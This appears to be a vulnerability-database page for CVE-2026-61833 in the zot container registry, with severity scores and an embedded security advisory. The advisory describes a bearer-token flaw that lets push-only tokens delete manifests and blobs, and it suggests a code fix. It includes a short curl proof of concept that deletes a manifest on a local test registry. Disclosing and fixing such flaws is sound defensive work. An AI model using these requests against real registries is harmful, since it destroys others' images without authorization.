CVE-2026-61833

highpriority · track · 0EPSS 0.008 · 57 %ileUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.81% (57th) EPSS
CVSS 8.1 · high
Is it mine?
2 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

zot is a container image and artifact registry based on the Open Container Initiative Distribution Specification. Prior to 2.1.18, the bearer authentication handler in pkg/api/authn.go maps every HTTP method other than GET and HEAD to the push action, so DELETE requests are not checked for the distinct delete permission. Bearer-authenticated requests also bypass the fine-grained DistSpecAuthzHandler path in pkg/api/authz.go, while DeleteManifest and DeleteBlob perform no independent delete-permission check. A remote attacker with a bearer token limited to pull and push actions can therefore delete manifests and blobs within the token's repository scope, making images unavailable and allowing repository history to be altered despite the token lacking delete authorization. This issue is fixed in version 2.1.18.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.1
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Hsecondary · security-advisories@github.comexploitability 2.8 · impact 5.2
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:Hsecondary · OSV
v3.17.4highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-qg67-7m6v-qg25zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion2026-09-18ghsa · osvUS

    ### Summary A bearer token with only `pull` and `push` scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the `"push"` action, and the `DistSpecAuthzHandler` middleware is bypassed entirely for bearer-authenticated requests. This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs within the token's repository scope, in violation of the [Docker Distribution Token Authentication Specification](https://distribution.github.io/distribution/spec/auth/scope/). ### Details The vulnerability exists in two interacting components: **1. Action Mapping Collapse (`pkg/api/authn.go:571–586`)** The bearer authentication handler maps HTTP methods to token scope actions using a binary check: ```go action := "pull" if m := request.Method; m != http.MethodGet && m != http.MethodHead { action = "push" } ``` This collapses DELETE, PUT, PATCH, and POST into a single `"push"` action. The `"delete"` action is never assigned. **2. Authorization Bypass for Bearer Auth (`pkg/api/authz.go:270–275, 318–323`)** When a request is authenticated via bearer token, the `DistSpecAuthzHandler` middleware, which performs fine-grained action inference (distinguishing `create`, `read`, `update`, and `delete`) is bypassed entirely: ```go if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) { next.ServeHTTP(response, request) return } ``` **3. No Handler-Level Authorization Check** Neither `DeleteManifest` (`routes.go:799–884`) nor `DeleteBlob` (`routes.go:1192–1241`) performs an independent authorization check for delete permission before executing the deletion. **Deviation from Specification and Reference Implementation** The [[Docker Distribution Token Scope Documentation](https://distribution.github.io/distribution/spec/auth/scope/)](https://distribution.github.io/distribution/spec/auth/scope/) defines `delete` as a distinct action separate from `push`. The reference implementation ([[distribution/distribution](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)) correctly maps DELETE requests to the `"delete"` action: ```go case http.MethodDelete: records = append(records, auth.Access{ Resource: resource, Action: "delete", }) ``` Furthermore, zot's own native access-control configuration explicitly distinguishes `delete` as a separate permission from `create` and `update`, confirming the project's intent that delete is a distinct authorization action. **Suggested Fix** In `pkg/api/authn.go`, the action mapping should distinguish DELETE: ```go action := "pull" switch { case m == http.MethodGet || m == http.MethodHead: action = "pull" case m == http.MethodDelete: action = "delete" default: action = "push" } ``` The `DistSpecAuthzHandler` bypass for bearer-authenticated requests (`authz.go:270–275`) should also be reconsidered to ensure bearer-authenticated requests receive equivalently granular authorization checks. ### PoC **Prerequisites:** zot v2.1.15 with bearer authentication enabled, and a token server issuing JWTs with `actions: ["pull", "push"]` (no `"delete"`). **Steps to Reproduce:** 1. Configure zot with bearer authentication pointing to a token server 2. Obtain a bearer token with scope `repository:poc-test:pull,push` (no delete) 3. Upload a config blob: ```bash curl -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/octet-stream" \ -X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \ -d '{}' # → 201 Created ``` 4. Push a manifest tagged `v1.0` (succeeds token has push): ```bash curl -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/vnd.oci.image.manifest.v1+json" \ -X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \ -d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}' # → 201 Created ``` 5. DELETE the manifest with the same push-only token (**should return 401, but returns 202**): ```bash curl -H "Authorization: Bearer $TOKEN" \ -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" # → 202 Accepted (VULNERABLE) ``` 6. Confirm the manifest is gone: ```bash curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \ "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" # → 404 Not Found ``` **Expected behavior:** Step 5 should return `401 Unauthorized` with a `WWW-Authenticate` header requesting `scope="repository:poc-test:delete"`. **Actual behavior:** Step 5 returns `202 Accepted` and the manifest is permanently deleted. A complete reproducer (minimal Go token server + zot config + automated script) is available upon request. ### Impact **Privilege Escalation / Unauthorized Deletion** Any bearer token with push scope can delete manifests and blobs, even when the token was explicitly issued without delete permissions. This is particularly impactful in CI/CD environments where automated systems are issued least-privilege tokens with only pull and push permissions. A compromised or stolen CI token which should only be able to build and push images can be used to: - Delete arbitrary manifests (tags) within any repository covered by the token's scope - Delete arbitrary blobs within those repositories - Render production container images unpullable - Rewrite image history by removing specific tags

  • GO-2026-6527zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion in zotregistry.dev/zot2026-09-28vendor · osvUS

    zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion in zotregistry.dev/zot

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-09-18modified 2026-09-30
08

references (4) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan